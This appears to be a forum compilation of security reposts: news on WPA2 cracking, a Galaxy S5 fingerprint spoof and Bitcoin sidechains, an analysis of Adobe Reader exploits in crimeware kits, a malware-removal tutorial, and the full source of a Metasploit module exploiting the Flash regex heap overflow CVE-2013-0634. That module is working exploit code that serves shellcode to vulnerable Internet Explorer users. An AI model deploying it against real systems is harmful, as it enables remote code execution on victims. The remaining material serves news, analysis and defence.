Education software downloads at SourceForge.net [11] NMAP, Nmap - Free Security Scanner For Network Exploration & Security Audits. Sursa: https://www.sans.org/security-resources/idfaq/icmp_misuse.php

[h=1]Bitcoin 2.0: Unleash The Sidechains[/h] “Cryptocurrencies will create a fifth protocol layer powering the next generation of the Internet,” says Naval Ravikant. “Our 2014 fund will be built during the blockchain cycle,” concurs Fred Wilson. And Andreessen Horowitz have very visibly doubled down on Bitcoin. Even if you don’t believe in Bitcoin as a currency, and I’ll grant there’s plenty to be skeptical about, you should be thinking: huh, a lot of extremely smart and successful people think that its underlying technology is a pretty big deal. But as I wrote myself just a few weeks ago, there’s a big difference between blockchain technology and Bitcoin itself, right? …Maybe not. A brief technical refresher: “blockchains” are the distributed-consensus technology introduced to the world by the mysterious Satoshi Nakamoto, wherein a peer-to-peer network is used to codify and cryptographically verify transactions, without any central authority. What’s more, transactions can be orchestrated by programmable contracts. Bitcoin is both the first and most successful blockchain application, but there are many, many other “cryptocurrencies,” known as “altcoins.” What’s more, there are numerous other, non-currency applications being built on new blockchains, notably Namecoin and Ethereum, and several proposals for expanding and evolving Bitcoin itself, eg ZeroCoin, MasterCoin, Colored Coins, etc. Articol complet: Bitcoin 2.0: Unleash The Sidechains | TechCrunch

Document-Based Exploits (Part II) Several factors make Adobe Reader an attractive target for exploitation to get malicious code run on a target machine. The first is the application has many buffers that can be populated by loading a document. Adobe Reader can also be thought of as an interpreter, executing whatever valid code might be contained within a document, using functions that potentially have vulnerabilities. The biggest factor is the software is common to most desktop computers, giving the largest number of potential victims, a problem that’s exacerbated by web browsers that automatically load PDFs in a browser plugin after fetching them from web servers. Here I’m going to illustrate that with two particular exploits I found in the CRIMEPACK, Blackhole, Eleanor and Phoenix crimeware kits (full write-up on these later). Collab.getIcon() Discovered (or publicly disclosed) in March 2009, the Collab.getIcon() method/function vulnerability appears to be specific to Adobe Reader, and the exploit must be implemented as a JavaScript call to this function. According to the advisories the exploit is a typical stack overflow through a malformed call to getIcon(), and this allows arbitrary code execution – a typical way of changing the Instruction Pointer value to the address of some malicious code. An example of this and a copy of the vulnerable application (for Windows users) are available from the Offensive Security exploit database (number 9579). The exploit is also available as a Metasploit module. We’re looking for two things within a malicious PDF: something that causes an exception, and a payload that executes when the exception occurs. So, if we run the strings utility on an example PDF from SecurityFocus… where the hell is the exploit? Where is the getIcon() request for that matter? The best place to start is by looking at the file’s structure and layout. PDFs are self-referencing, that is each section is an object marked by a reference number such as 10, 20, 30, etc. The contents of each object can also contain a reference to another object. In the SecurityFocus PDF, one section, 30, references some JavaScript in another section, 70R: By the way, I’m using the SecurityFocus example because the references within the actual crimware PDF are also obfuscated. Looking further through the code, at the referenced object, some random characters are found. This, I believe, is the exploit and payload. However, it’s unintelligible because the content of that section is compressed and obfuscated, which enables the malicious code to get past various intrusion detection/prevention methods. For a while it would also have made reverse-engineering tricky because the tools were less readily available. Obfuscated code is indicated by the ‘/Filter /FlateDecode‘ string. To uncompress/decode this section, I used qpdf. Since this doesn’t work on the SecurityFocus sample, I ran qpdf on the actual crimeware PDF instead: $qpdf --stream-data=uncompress geticon.pdf 3rdattempt.pdf The output file contains the unobfuscated exploit and its payload, and the following section is instantly recognisable as an array buffering the payload: Of course, the payload is unreadable as the strings utility is attempting to convert hex shellcodes into ASCII text. To get those, the PDF must be run through a hex editor or something like Bokken. Unfortunately the shellcode is OS-specific and I wasn’t using a Windows machine, so I didn’t analyse it further. What we do already know is the payload results in the installation of a banking Trojan. The payload was buffered as an array for the exploit code itself, which is seen further down: util.printf() Problems with the printf() function in the C programming language are well-known. They aren’t necessarily caused by the developers of Adobe Reader, but instead it’s a vulnerability native to the C language, where the function doesn’t check the stack boundaries. Here the vulnrability might be in the C code underlying the JavaScript interpreter. A full description and an exploit attempt is published on the CORE Security site, and that works by overwriting the Structured Exception Handler address with that of another location where the shellcode is placed. Again, the malicious code is only executed with the privileges of whoever’s running the PDF reader. Conclusion As both exploits were found in three crimeware kits, it’s obvious their authors targeted something common to most desktop computers – Adobe Reader. The versions of CRIMEPACK, Blackhole and Eleanor being examined were all created around the same period, so they were either sold by the same group, or the exploits were proven the most effective for circulation among the crimeware authors. What’s the worst that can happen? Both exploits have already been out there for five years, and other vulnerabilities like them have been found since, so this post only gives a taste of what to expect in a crimeware kit. The impact of a successful exploit here depends on the credentials the Adobe Reader application is running under. If it’s a standard user account with limited privileges, the exploit would lead to only that account being initially compromised, although privilege escalation is always possible afterwards. The latter is unlikely, though, as the crimeware has obviously been developed to automate things as much as possible, and the attacker would have many compromised admin accounts. If the user has admin privileges at the time the application is exploited, the payload has full control of the system. As can be demonstrated using Metasploit, the payload could be anything, including a reverse shell for remote access or code that fetched a malware installer. The people behind the crimeware were counting on some victims being logged into the admin account, or on being able to escalate their privileges after the account was compromised. Sursa: https://xerocrypt.wordpress.com/2014/04/19/document-based-exploits-part-ii/

Galaxy S5 fingerprint scanner bypassed using old Apple Touch ID spoof The Samsung Galaxy S5 was released on Friday and, similar to the release of the iPhone 5s back in late September 2013, it only took a few days before the fingerprint scanner was hacked. Ben Schlabs, project manager with Security Research Labs, a group that also bypassed Apple's Touch ID, told SCMagazine.com on Wednesday that bypassing the fingerprint scanner on the Samsung device was even more seamless, and may open the door for more problems. The Germany-based company posted a video demonstration on Tuesday. Schlabs said he easily fooled the Galaxy S5 scanner by simply picking up a dried out fingerprint spoof – lying around since his tests on the iPhone 5s Touch ID – and swiping it over the fingerprint scanner of the brand new Samsung mobile device. “The first spoof I swiped over the sensor worked immediately,” Schlabs said. “For whatever reason, that particular spoof was and is rejected by the iPhone, but works on the S5.” The fingerprint spoof was made from a glue mold using a fingerprint that could effortlessly be lifted from the device, Schlabs said, explaining that anyone with $20 and a decent grasp of arts and crafts can pull this off in the amount of time it takes for the glue to dry. The Galaxy S5 fingerprint hack may end up spelling more trouble for Samsung than the Touch ID hack did for Apple because the Galaxy, perhaps inadvertently, offers unlimited attempts to swipe a fingerprint, and also does not require a passcode when the device is powered up, Schlabs said. “As it stands, turning off the screen and turning it back on allows for one additional swipe attempt every time,” Schlabs said. “This gives would-be spoofers unlimited attempts, greatly increasing their chances of success.” Another concern about the Galaxy S5 fingerprint bypass is that it can be abused to authenticate transactions using PayPal. In a statement emailed to SCMagazine.com on Wednesday, a spokesperson said that eligible transactions are covered by PayPal's purchase protection policy should a related incident occur. “PayPal never stores or even has access to your actual fingerprint with authentication on the Galaxy S5,” according to the statement. “The scan unlocks a secure cryptographic key that serves as a password replacement for the phone. We can simply deactivate the key from a lost or stolen device, and you can create a new one.” These types of “biometric” features are so vulnerable to spoofing because fingerprints are left on every glossy surface we touch, and can easily be stolen and copied, Schlabs said, explaining fingerprint scanning as a safety feature may represent a step up in convenience, but it represents a step down in security. Sursa: Galaxy S5 fingerprint scanner bypassed using old Apple Touch ID spoof - SC Magazine

Probabil se refera la faptul ca serverele web nu salveaza log-uri in aceste situatii.

[h=1]WPA2 wireless security cracked[/h] Date: March 20, 2014 Source: Inderscience Summary: There are various ways to protect a wireless network. Some are generally considered to be more secure than others. Some, such as WEP (Wired Equivalent Privacy), were broken several years ago and are not recommended as a way to keep intruders away from private networks. Now, a new study reveals that one of the previously strongest wireless security systems, Wi-Fi protected access 2 (WPA2) can also be easily broken into on wireless local area networks (WLANs). There are various ways to protect a wireless network. Some are generally considered to be more secure than others. Some, such as WEP (Wired Equivalent Privacy), were broken several years ago and are not recommended as a way to keep intruders away from private networks. Now, a new study published in the International Journal of Information and Computer Security, reveals that one of the previously strongest wireless security systems, Wi-Fi protected access 2 (WPA2) can also be easily broken into on wireless local area networks (WLANs). Achilleas Tsitroulis of Brunel University, UK, Dimitris Lampoudis of the University of Macedonia, Greece and Emmanuel Tsekleves of Lancaster University, UK, have investigated the vulnerabilities in WPA2 and present its weakness. They say that this wireless security system might now be breached with relative ease by a malicious attack on a network. They suggest that it is now a matter of urgency that security experts and programmers work together to remove the vulnerabilities in WPA2 in order to bolster its security or to develop alternative protocols to keep our wireless networks safe from hackers and malware. The convenience of wireless network connectivity of mobile communications devices, such as smart phones, tablet PCs and laptops, televisions, personal computers and other equipment, is offset by the inherent security vulnerability. The potential for a third party to eavesdrop on the broadcast signals between devices is ever present. By contrast a wired network is intrinsically more secure because it requires a physical connection to the system in order to intercept packets of data. For the sake of convenience, however, many people are prepared to compromise on security. Until now, the assumption was that the risk of an intruder breaching a wireless network secured by the WPA2 system was adequately protected. Tsitroulis and colleagues have now shown this not to be the case. If setup correctly, WPA2 using pre-shared key (PSK) encryption keys can be very secure. Depending on which version is present on the wireless device it also has the advantage of using strong encryption based on either the temporal key integrity protocol (TKIP) or the more secure counter mode with cipher block chaining message authentication code protocol (CCMP). 256-bit encryption is available and a password can be an alphanumeric string with special characters up to 63 characters long. The researchers have now shown that a brute force attack on the WPA2 password is possible and that it can be exploited, although the time taken to break into a system rises with longer and longer passwords. However, it is the de-authentication step in the wireless setup that represents a much more accessible entry point for an intruder with the appropriate hacking tools. As part of their purported security protocols routers using WPA2 must reconnect and re-authenticate devices periodically and share a new key each time. The team points out that the de-authentication step essentially leaves a backdoor unlocked albeit temporarily. Temporarily is long enough for a fast-wireless scanner and a determined intruder. They also point out that while restricting network access to specific devices with a given identifier, their media access control address (MAC address), these can be spoofed. There are thus various entry points for the WPA2 protocol, which the team details in their paper. In the meantime, users should continue to use the strongest encryption protocol available with the most complex password and to limit access to known devices via MAC address. It might also be worth crossing one's fingers…at least until a new security system becomes available. Sursa: WPA2 wireless security cracked -- ScienceDaily

Adobe Flash Player Regular Expression Heap Overflow Authored by juan vazquez, temp66, Boris dukeBarman Ryutin | Site metasploit.com This Metasploit module exploits a vulnerability found in the ActiveX component of Adobe Flash Player before 11.5.502.149. By supplying a specially crafted swf file with special regex value, it is possible to trigger an memory corruption, which results in remote code execution under the context of the user, as exploited in the wild in February 2013. This Metasploit module has been tested successfully with Adobe Flash Player 11.5 before 11.5.502.149 on Windows XP SP3 and Windows 7 SP1 before MS13-063, since it takes advantage of a predictable SharedUserData in order to leak ntdll and bypass ASLR. ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::BrowserExploitServer def initialize(info={}) super(update_info(info, 'Name' => "Adobe Flash Player Regular Expression Heap Overflow", 'Description' => %q{ This module exploits a vulnerability found in the ActiveX component of Adobe Flash Player before 11.5.502.149. By supplying a specially crafted swf file with special regex value, it is possible to trigger an memory corruption, which results in remote code execution under the context of the user, as exploited in the wild in February 2013. This module has been tested successfully with Adobe Flash Player 11.5 before 11.5.502.149 on Windows XP SP3 and Windows 7 SP1 before MS13-063, since it takes advantage of a predictable SharedUserData in order to leak ntdll and bypass ASLR. }, 'License' => MSF_LICENSE, 'Author' => [ 'Unknown', # malware sample 'Boris "dukeBarman" Ryutin', # msf exploit 'juan vazquez' # ActionScript deobfuscation and cleaning ], 'References' => [ [ 'CVE', '2013-0634' ], [ 'OSVDB', '89936'], [ 'BID', '57787'], [ 'URL', 'http://malwaremustdie.blogspot.ru/2013/02/cve-2013-0634-this-ladyboyle-is-not.html' ], [ 'URL', 'http://malware.dontneedcoffee.com/2013/03/cve-2013-0634-adobe-flash-player.html' ], [ 'URL', 'http://www.fireeye.com/blog/technical/cyber-exploits/2013/02/lady-boyle-comes-to-town-with-a-new-exploit.html' ], [ 'URL', 'http://labs.alienvault.com/labs/index.php/2013/adobe-patches-two-vulnerabilities-being-exploited-in-the-wild/' ], [ 'URL', 'http://eromang.zataz.com/tag/cve-2013-0634/' ] ], 'Payload' => { 'Space' => 1024, 'DisableNops' => true }, 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f', 'Retries' => false }, 'Platform' => 'win', 'BrowserRequirements' => { :source => /script|headers/i, :clsid => "{D27CDB6E-AE6D-11cf-96B8-444553540000}", :method => "LoadMovie", :os_name => Msf::OperatingSystems::WINDOWS, :ua_name => Msf::HttpClients::IE, :flash => lambda { |ver| ver =~ /^11\.5/ && ver < '11.5.502.149' } }, 'Targets' => [ [ 'Automatic', {} ] ], 'Privileged' => false, 'DisclosureDate' => "Feb 8 2013", 'DefaultTarget' => 0)) end def exploit @swf = create_swf super end def on_request_exploit(cli, request, target_info) print_status("Request: #{request.uri}") if request.uri =~ /\.swf$/ print_status("Sending SWF...") send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'}) return end print_status("Sending HTML...") tag = retrieve_tag(cli, request) profile = get_profile(tag) profile[:tried] = false unless profile.nil? # to allow request the swf send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) end def exploit_template(cli, target_info) swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" shellcode = get_payload(cli, target_info).unpack("H*")[0] html_template = %Q|<html> <body> <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" /> <param name="movie" value="<%=swf_random%>" /> <param name="allowScriptAccess" value="always" /> <param name="FlashVars" value="his=<%=shellcode%>" /> <param name="Play" value="true" /> </object> </body> </html> | return html_template, binding() end def create_swf path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2013-0634", "exploit.swf" ) swf = ::File.open(path, 'rb') { |f| swf = f.read } swf end end Sursa: Adobe Flash Player Regular Expression Heap Overflow ? Packet Storm

[h=3]Basic Malware Cleaning[/h]Last year in September I wrote an article for Hakin9 on how to detect, identify and of course disinfect a machine from malware. I've decided to publish it on my blog as well, you can also download it from the following links in PDF format: Basic Malware Cleaning Gratis bestanden delen en uploaden via Mijn Bestand!(mirror) Here's the article: Basic Malware Cleaning Malware is common nowadays. Each day, machines get infected with viruses, spyware, Trojans, keyloggers, rogueware, ransomware, rootkits, … The list continues with more advanced malware like Conficker, Duqu, Stuxnet, Flame, … The malware scenario on itself has also drastically changed. Where in the past, malware was created for showing off your skills or gaining your 15 minutes of fame (remember LoveLetter?), it is now almost solely used for the purpose of making money. If you are reading this article, you have already helped someone getting rid of malware infestations, or you at least have an interest in the basics on how to clean malware from an infected machine. What you will learn... Identifying malicious processes, terminating these processes and how to properly prevent them from running Identifying malicious startup entries and system modifications Identifying related malicious files, meaning droppers and payload Identifying the malware source and effectively tackling it What you should know... Basic computer knowledge and common sense Use a proper environment for testing purposes About the author The author has been working as a technical support engineer in the antivirus industry for several years and is also involved in performing malware research and malware analysis, intended primarily for improving his own skills and raising awareness amongst every computer user, whether it would be home or business users. You can follow him on Twitter: @bartblaze Introduction Before we begin, I’d like to make clear that if you want to test your skills after reading this article or want to test malware in general, you should set up a proper testing environment. Make sure you are using a Virtual Machine if testing on your own machine, or create a machine for the sole use of testing malware and antimalware tools. In either case, it’s a good idea to use a separate network or use a DMZ should you have one. Personally I recommend having the machine connected to the internet, so the malware can do its evil work to its maximum potential and you will be able to carefully study and dissect its workings completely. I’ve made a post on my blog as well on how to build your own malware analysis lab: Blaze's Security Blog: Basics for a malware analysis lab More tips can be found in the section On The Web in the last paragraphs of this article. In the next paragraphs, we will see three possible malware scenarios: Rogueware Trojan horse Rootkit For each malware scenario or case study, a sample was executed and the machine was consequently rebooted to view the malware’s effects. Each case study will be outlined with the necessary tools and steps to take on how to completely eradicate the above infection types. Note that after performing manual clean-up, it is advised to perform a scan with an (preferably) online antimalware or antivirus product. Most antivirus companies offer a free online scan and automatic removal. We will be making use of the following tools: Autoruns GMER Process Explorer RootkitRevealer Rootkit Unhooker First case study - Rogueware Rogueware is probably one of the most known types of malware nowadays. The reason is simple: when one gets infected with rogueware, annoying pop-ups will appear all over the screen, urging to buy their precious Antivirus, which has found enough infections on your machine to completely toast it – if they were real. Rogueware is simply blatant enough to appear fully on your screen, whereas most other types of malware will (try to) work silently in the background. In this first case study we will only make use of the tools Process Explorer and Autoruns, both created by Sysinternals. After running our first sample and rebooting the machine, we receive several messages that the machine is infected and we should take immediate action. A screenshot of this specific rogueware: Figure 1. Rogueware called ‘Live Security Platinum’ running on our machine Let’s start Process Explorer and see what’s running! Figure 2. Process responsible for Live Security Platinum What can you make of this screenshot? There are indicators this is indeed malware: Random filename No file description No company name Explaining why there is a random filename: trying to evade specific antimalware tools which focus only on names the malware uses – for example, I remember a specific rogueware family from back in 2009 that always placed the same DLL in the System32 folder: win32extension.dll Tip: If you’re in doubt whether a process is malicious, simply right-click it in Process Explorer and select Search Online... Most of the times, Google will have a history of this filename. If the search is turning up zero results, it’s an extra confirmation that it concerns a malicious process. Explaining why there is no file description or company name is simple: in earlier days – the days of Windows XP to be exact – the basic Task Manager did not display any file description or company name. So basically, there was no use in including it since it wasn’t displayed anyway. In Windows Vista, Windows 7 and soon Windows 8 Task Manager is improved. This malware hides in %appdata%, which is a system variable for the Application Data folder of the currently logged on user. What else can we deduct from this screenshot? The rogueware uses a Microsoft icon, thus trying to trick the user to indicate it’s nothing malicious. An effective trick indeed, but considering the previous factors, we can be sure this is a malicious process which needs to be terminated. A useful setting in Process Explorer is through Options > Verify Image Signatures. With this option, you’ll be able to quickly determine if a file claiming to be from Microsoft is indeed so or not. Note that these may be forged. There are three color codes important for us: Green – new process Red – killed process Purple – process with images that are packed. Intention: hiding strings, evading antivirus detections By right-clicking the process and choosing Properties, we can gather more intelligence about the file. A short overview of the tabs useful for our malware identification: Image – image file properties Strings – strings loaded into the image or memory Figure 3. Image Tab details Thanks to the Image tab, we are able to view the file location, any command line arguments there may be, but also if the file has a valid Image Signature and the current directory from where the file is executed. Moving over to the Strings tab, where we may find interesting information about the file and its behavior. An example: Figure 4. Payform.html, which is the rogueware’s own webpage to order its ‘product’ Let’s close this and start with the cleaning of this type of malware. First step is killing the rogueware by right-clicking the process in Process Explorer and choosing Kill Process. The rogueware will disappear like snow in the sun. Note that some rogueware is protecting or guarding each other’s process, so it’s possible you will have to Suspend a process first before killing its guardian. Afterwards you can kill the first process and the rogueware will not re-appear again. Second step is of course disabling the rogueware from starting up with Windows. In order to do so, we will be using Autoruns: Figure 5. Autoruns Logon tab view Navigate to the Logon tab and choose to delete it. Click Yes to confirm. Close Autoruns. If you are unsure about a Logon entry, simply untick the checkbox first instead of deleting it. A trick that is often utilized by malware authors is to hijack several antivirus processes to, for example, svchost.exe or to their own malicious program. They do this to prevent antivirus software from running and making sure their malicious program will be executed. Sometimes, Task Manager, Regedit, the Command Prompt (CMD) and other tools are hijacked as well. I’m sure you have encountered before that you were unable to run any of these built-in Windows features. The reason is Image Hijacks. We will now be using the same trick against them, by creating our own Image Hijack or, as Microsoft calls it: Image File Execution Options. To do so, we will use Regedit: Figure 6. Image Hijacks can be added under: HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options In order to add an Image Hijack, right-click on the Image File Execution Options key and select to create a new Key. This key must be the exact same name as the malware name. In our first case study, this means: 529C50D8212C2CDD6A42F365D151FC4E.exe We subsequently create a new String Value under this key with Value Name: Debugger and Value Data: svchost.exe. Now, even when the rogueware is still on the system, it cannot start since it will be forced to start svchost instead. You can also do this faster by using the following small piece of code and running it by clicking on Start > Run and pasting it in the message box. Replace XXX.exe by the name of the malware: reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\XXX.exe" /v Debugger /d "svchost.exe" /f In our first case study, for the ‘Live Security Platinum’ rogueware, this would be: reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\529C50D8212C2CDD6A42F365D151FC4E.exe" /v Debugger /d "svchost.exe" /f Tip: in Autoruns there’s a useful tab called Image Hijacks which will display any present modifications to this key: Figure 7. Check if there are any Image Hijacks present Have you completed all these steps, reboot the machine. If nothing seems to pop up or alarm you, you can visit the folder where the rogueware resides and delete the malicious file. Note that you might have to enable Hidden files, folders or drives, and to unhide Protected Operating System files. You can do this via Windows Explorer: For Windows XP: Tools > Folder Options > View For Windows Vista and Windows 7: Organize > Folder and Search Options > View This concludes our first case study. Be sure to remember it, as we will be using the same tools for our next malware family: a Trojan horse. Second case study – Trojan horse Trojan horses or Trojans are typically data stealers and can copy themselves on your machine. They may also turn your machine into a zombie, which is basically a computer part of a botnet. Trojans often disguise themselves as legitimate programs; for example an upgrade of Adobe Flash Player, a crack or key generator for a game or Microsoft Office and many more. After executing our sample and rebooting the machine, we don’t see anything malicious in Process Explorer. Actually, we are seeing something strange. A Firefox instance was running even though we didn’t start Firefox. When starting Firefox manually, it gets loaded under Explorer. In this case, it was not loaded under Explorer, but started as a separate process: Figure 8. Malicious Firefox process loaded. As you can see, svchosts.exe is injected into Firefox The Trojan has loaded a malicious version of a Firefox process, to effectively hide itself from users. After all, who would suspect a Firefox process to be malicious? You can search for Handles or DLLs via the menu Find. Svchosts.exe is the Trojan on itself, which we will see below. Note: for this reason, the Trojan has rootkit capabilities, which we will discuss in the next case study. If we verify any system modifications with Autoruns, there are two new entries added in the Logon tab: Figure 9. Two new entries in the Logon tab of Autoruns. We will now discuss some characteristics In Figure 9 there are two entries highlighted: one under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit, while the other one can be found under HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run. The Trojan has attached itself to the Userinit value, which will ensure that it starts right after a user logs in to Windows. It has also placed an entry in the Run key, as an extra check to start up with Windows. If we take a look at the Trojan’s file information: Figure 10. Trojan’s file information There are a few things that should get your alarm bells ringing: The file is only 188 kB --> files with a small size are more likely to contain malware The filename is svchosts.exe and resides in C:\Windows--> malware imitating legit Microsoft files is not uncommon --> the legit file is named svchost.exe and resides in C:\Windows\system32--> most, but not all, malware hides in C:\Windows or C:\Windows\system32 The file description reads “deine mutter”--> which is German for “your mother” and is considered an insult in some countries The icon of a microphone is used into tricking you this might be legit software--> voice or audio recording software for example Let’s move on and start disinfecting the machine step by step. First step is to Kill the malicious Firefox process with Process Explorer. Next, open up Regedit and navigate to the following key: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Figure 11. Hijacked Userinit value Restore the default Userinit value by double-clicking on the value and entering as Value data (this is the default Value data for Userinit): c:\windows\system32\userinit.exe Open Autoruns again or should you not have closed it, refresh. You will see the first entry has disappeared. Now simply delete the other value. Tip: did you know you can easily access the Registry via Autoruns? Right-click an entry, select Jump To… and you will be taken there instantly. Very useful in cases where the Userinit, Winlogon or Shell Value keys are hijacked or altered. At this point, reboot the machine and verify with Process Explorer that there aren’t any malicious processes still present, or a malicious Firefox process. Verify with Autoruns that all startup entries are removed. Navigate to the folder where the malware hides and delete the responsible file(s). This concludes our second case study. In the next case study we will see how to handle a rootkit infection. Third case study - Rootkit Rootkits are a type of malware apart. Rootkits are software which can hide processes, files & folders, drivers, registry keys and much more from the Operating System, antivirus software and many security tools. Rootkits can also be used to gain and retain administrator privileges on a machine. Typically, you can divide rootkits into two categories or types: User mode or user land rootkits Kernel mode or kernel land rootkits Figure 12. Figure of protection rings. Rings are mechanisms to protect data and functionality from faults and malicious behavior. (Image source: Wikipedia) User mode rootkits: operate in Ring 3, together with user applications Kernel mode rootkits: operate in Ring 0, with the highest Operating System privileges Rootkits can perform many tasks, besides hiding themselves, they can also disable antivirus components, perform DLL injection (inject and run code in the address space of another process), hide other malware, download additional malware, provide an attacker access to the machine, turn the machine into a zombie, …. You get the point. In this case study, we will see the infamous TDL3 rootkit (which is a ring 0 rootkit), more specifically the “4DW4R3” rootkit. It was dubbed the 4DW4R3 rootkit because of the strings found in the associated DLLs. (associated files for this malware also start with 4DW4R3 and attached 10 random letters after it, for example: 4DW4R3vDqMXSvfxR.dll) After executing the sample, it gets deleted immediately. Let’s reboot the machine at this point and document our findings. Firing up Process Explorer and Autoruns still works normally, but there doesn’t seem to be anything suspicious. In this case, we will need to run some more specialized tools in order to uncover the rootkit’s modifications to the system. When encountering a rootkit infection, it is recommended to run at least three different anti-rootkit tools. Why? Anti-rootkits can produce false positives The rootkit may have used hooking to prevent certain anti-rootkit tools from running or even displaying incorrect results The first anti-rootkit tool we will be using is RootkitRevealer, another Sysinternals tool: Figure 13. RootkitRevealer found four files hidden from the Windows API. This means you won’t be able to view them, not even when having the option on to view hidden files and folders, or protected operating system files Note that we will only focus on the highlighted changes for now. The others are also from rootkit modifications, where it is denying access on certain registry keys for RootkitRevealer. Now that we have uncovered associated files from the rootkit, we can use Process Explorer again to verify if there has been any DLL injection. In our second case study, we have already briefly seen this occurrence. Figure 14. Through the menu Find > Find handle or DLL… We discover that 4DW4R3vDqMXSvfxR.dll is injected into svchost.exe Besides injecting into svchost.exe, the rootkit will also (attempt to) inject itself in newly created processes, for example firefox.exe. Result is you will be redirected to a shady search engine whenever you are trying to search something on Google, Yahoo or other search engines. This can be verified by opening the 4DW4R3vDqMXSvfxR.dll file in Process Explorer and selecting the Strings tab (be sure to select Memory): Figure 15. Search results on Bing, Google, Yahoo, AOL,… Will all be redirected to another (malicious) search engine When using Rootkit Unhooker, it notifies us of Possible Rootkit Activity. When reading the log, we see the following lines: ============================================== Stealth Unknown page with executable code Address: 0xF889C8BB Size: 1861 This indicates there’s something stealth, which may be malicious, at address space F889C8BB. The code at this address space is probably used to prevent the scanning of registry keys by certain anti-rootkit tools, as was the case with RootkitRevealer. When using GMER, it starts a scan of the system right away and will state whether or not there’s an infection: Figure 16. The 4DW4R3 rootkit has also been discovered by GMER Let’s review what GMER has found as system modifications: Code F889BEB5 ZwCallbackReturn Code F889B979 ZwEnumerateKey Code F889B96F ZwSaveKey Code F889B974 ZwSaveKeyEx Code F889BBD2 IofCompleteRequest ZwCallbackReturn: ensure communication between user mode malware components and the kernel mode rootkit ZwEnumerateKey: hide registry keys, prevent anti-rootkits from scanning the registry ZwSaveKey & ZwSaveKeyEx: prevent some anti-rootkits from scanning the registry or detecting mischief IofCompleteRequest: hide and protect rootkit files Let’s review what GMER has found as service modifications: · Service C:\WINDOWS\system32\drivers\4DW4R3nKkNtexUqD.sys (*** hidden *** ) [sYSTEM] 4DW4R3 <-- rootkit=""> It is obvious by now the machine is infected with a rootkit. We will be using GMER to fully disinfect the machine. Right-click the service and choose Delete Service. If you receive an error, choose Disable Service. Reboot the machine. Now that the service is deleted (or disabled) we are able to view the files the rootkit has placed. Simply delete them and reboot: Figure 17. The rootkit’s associated DLLs and drivers This concludes our third case study. In the next paragraphs you’ll be able to find additional information on how to handle a malware incident. Signals of infection In most cases, it’s pretty obvious when facing an infection like rogueware or ransomware: pop-ups and annoying messages all over the screen. There are other symptoms which may not always seem originating from malware: Failing of Windows Firewall, Windows Security Center warnings. Microsoft Update malfunctioning. Not being able to execute antimalware tools. Not being able to visit websites from antivirus vendors. Redirections taking place in your browser to shady search engines. Severe slowdown of the machine. More bandwidth usage than usual. Suddenly finding software on your machine you never installed or never gave permission to. These are called Potentially Unwanted Programs (PUP) or Adware. Unexpected Blue Screens (BSOD). This might be due to a badly written rootkit for example. Unexpected errors or malfunctioning of antivirus and antimalware programs. General tips and tricks In this section I’ll add some extra tips and tricks for problems you might encounter during the disinfection process: If a tool is refusing to run, try renaming it to explorer.exe or svchost.exe. Some rogueware families will block all applications, but will allow system processes to run. If a tool is refusing to run, and you already tried above trick, try renaming to SomeName.com. It’s possible all EXE files are disallowed from running. There’s a tool called exeHelper which will restore the default values for PE (executable) files. Another useful tip is trying to boot the machine in Safe Mode. Some malware will only place a value in HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run, which is ignored when booting in Safe Mode. Note that malware X won’t do much in Safe Mode, but can actually still be downloading additional malware if you decide to boot in Safe Mode with Networking. Rootkits can interrupt the execution of several anti-malware tools, where even above tricks won’t be able to help. In that case, you should try fixing the permissions of those tools. A very useful tool for this is Inherit. Just drag and drop the tool or program you want to execute on Inherit. Wait for the message box “OK” to pop up and you should be able to run it. Also in case of a rootkit or any other malware infection, it is advisable to change your most important passwords after fully cleaning the machine. Remember that when having encountered a rootkit infection and cleaning the machine, it is possible there are still infection leftovers. In case of doubt, reinstall Windows completely. In case of a bootkit, which infects the MBR, you need to boot the machine from the Windows installation CD, choose the Recovery Console, and type the command fixmbr in the command prompt. Press Enter and the MBR or Master Boot Record will rebuild. In some cases, the machine is infected so badly that it’s almost unworkable to run any tool. It’s also possible you cannot boot into Windows anymore. In such cases, you can use a boot CD or safe CD from an antivirus vendor. An alternative is the Sardu Multiboot CD or DVD and USB creator, which combines several antivirus rescue CDs. Or you can completely reinstall the machine. Tip: take regular back-ups of important files and folders! Prevention tips and tricks I’m guessing most of you already know how to protect yourself against mischief, though I’ll repeat some general tips once again. Repetition is key. Some do’s and don’ts: Do install an antivirus program – yes, you never use antivirus and you’ve never been infected before. Still, using antivirus reduces the chance even more. Do uninstall applications you don’t need – examples are Java and Adobe. If you do need them, update them frequently. Do uninstall browser extensions you don’t need. If you do need them, check for updates frequently. Do your updates. This includes Windows updates, antivirus updates, browser updates and any other software you may be using. Do use layered protection if possible – Firewall at hardware level (router), HIPS, antivirus, antimalware … Don't open email attachments from unknown senders - ever. Don’t click on everything on the internet. Meaning: use common sense when browsing the web. Don’t trust everything on the internet. If it looks too good to be true, it probably is! Don’t fill in your personal information or email address on random websites. Don't use the same password for each and every website! Implement proper password security. Don’t panic if you suspect you’ve been infected. Read the tips below on what to do if you are. Help! I’m infected! What could be the best procedure if you suspect to be infected? Suggested model: · Stay calm, don’t panic. Disconnect yourself from the network. · Identify and kill malicious processes. · Identify and delete malicious autorun entries. · Reboot and repeat the previous steps. · Delete associated files and folders. · Run a full scan with your installed antivirus product. · If disinfection is applied successfully, connect to the network again. If possible, connect to a separate network first to verify everything is indeed back to normal or not. Perform an online scan with another antivirus product than the one you have installed. If you’re in a corporate network, what could be the best procedure if you suspect to be infected? Suggested model: · Stay calm, don’t panic. 